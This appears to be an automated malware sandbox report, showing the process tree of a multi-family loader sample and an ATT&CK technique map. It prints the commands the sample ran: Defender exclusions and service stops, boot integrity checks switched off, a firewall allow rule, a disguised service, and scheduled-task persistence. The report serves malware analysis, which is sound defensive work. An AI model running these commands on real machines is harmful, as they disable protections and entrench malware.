    - Scheduled Task/Job: Scheduled Task
    PID:800
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "ff_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:3056
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "ff_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\%System32%\System32\BootFiles\Boot.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:1028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:1584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:4440
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:3788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Boot.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:5032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:3512
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'ff.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
  "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender TamperProtection settings
  - UAC bypass
  - Drops file in Drivers directory
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Registers new Windows logon scripts automatically executed at logon.
  - Windows security modification
  - Checks whether UAC is enabled
  - Drops file in Windows directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:2148
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
    3⤵
    - Executes a command shell one-liner
    PID:908
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:884
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:3820
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:3312
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:2316
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_917acedd" /F
    3⤵
    PID:2764
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c schtasks /delete /F /TN "ff" & exit
    3⤵
    - Executes a command shell one-liner
    PID:2744
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /F /TN "ff"
      4⤵
      PID:3548
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /tn "ff" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
    3⤵
    - Executes a command shell one-liner
    PID:4260
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /tn "ff" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2584
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "ff_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:5052
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "ff_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:692
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_917acedd" /XML "C:\Users\Admin\AppData\Local\Temp\3807a7b6-75cf-4b96-ad78-ae957d7741f5.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:892
- - C:\Windows\SYSTEM32\net.exe
    "net" stop WinDefend
    3⤵
    PID:1200
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:3968
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "ff_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:3500
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "ff_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4732
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "ff_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:4060
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "ff_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2784
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "ff_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:4888
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "ff_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3040
- - C:\Windows\SYSTEM32\net.exe
    "net" start WinDefend
    3⤵
    PID:1228
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start WinDefend
      4⤵
      PID:4256
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "Consolidator_09ca26b5" /F
    3⤵
    PID:4660
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "Consolidator_09ca26b5" /XML "C:\Users\Admin\AppData\Local\Temp\67c10ba0-c121-4f4c-bdc2-ec0baa020aea.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3960
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "SystemSoundsService_03243c87" /F
    3⤵
    PID:4884
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "SystemSoundsService_03243c87" /XML "C:\Users\Admin\AppData\Local\Temp\70ddc429-8fe9-4538-961d-dd890d6b2ba1.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3652
- - C:\Windows\SYSTEM32\bcdedit.exe
    "bcdedit" /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4232
- - C:\Windows\SYSTEM32\bcdedit.exe
    "bcdedit" /set nointegritychecks on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3192
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "UsbCeip_0cc682ec" /F
    3⤵
    PID:4836
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:1040
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\null.sys.bak" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:868
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "UsbCeip_0cc682ec" /XML "C:\Users\Admin\AppData\Local\Temp\d9385afa-435d-4e88-b5b6-7d72761d7564.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5004
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c
    3⤵
    - Modifies file permissions
    PID:1072
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:2528
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\beep.sys.bak" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:960
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c
    3⤵
    - Modifies file permissions
    PID:1452
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:4216
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\parport.sys.bak" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:3768
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c
    3⤵
    - Modifies file permissions
    PID:2780
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2316
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:1784
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\usbprint.sys.bak" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:628
- - C:\Windows\SYSTEM32\icacls.exe
    "icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c
    3⤵
    - Modifies file permissions
    PID:4192
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2784
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "ProgramDataUpdater_0a1e9f53" /F
    3⤵
    PID:2512
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "ProgramDataUpdater_0a1e9f53" /XML "C:\Users\Admin\AppData\Local\Temp\3f4337c2-22fc-4757-b923-d32eb21952d7.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4356
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_8a536aaf" /F
    3⤵
    PID:5088
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "OneDrive Standalone Update Task_8a536aaf" /XML "C:\Users\Admin\AppData\Local\Temp\8ac160f4-6203-49a5-a064-04a0337b48f1.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3068

C:\Users\Admin\AppData\Local\Temp\2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
C:\Users\Admin\AppData\Local\Temp\2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1⤵
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Process Injection

T1055

Process Hollowing

T1055.012

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Modify Registry

Process Injection

T1055

Process Hollowing

T1055.012

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery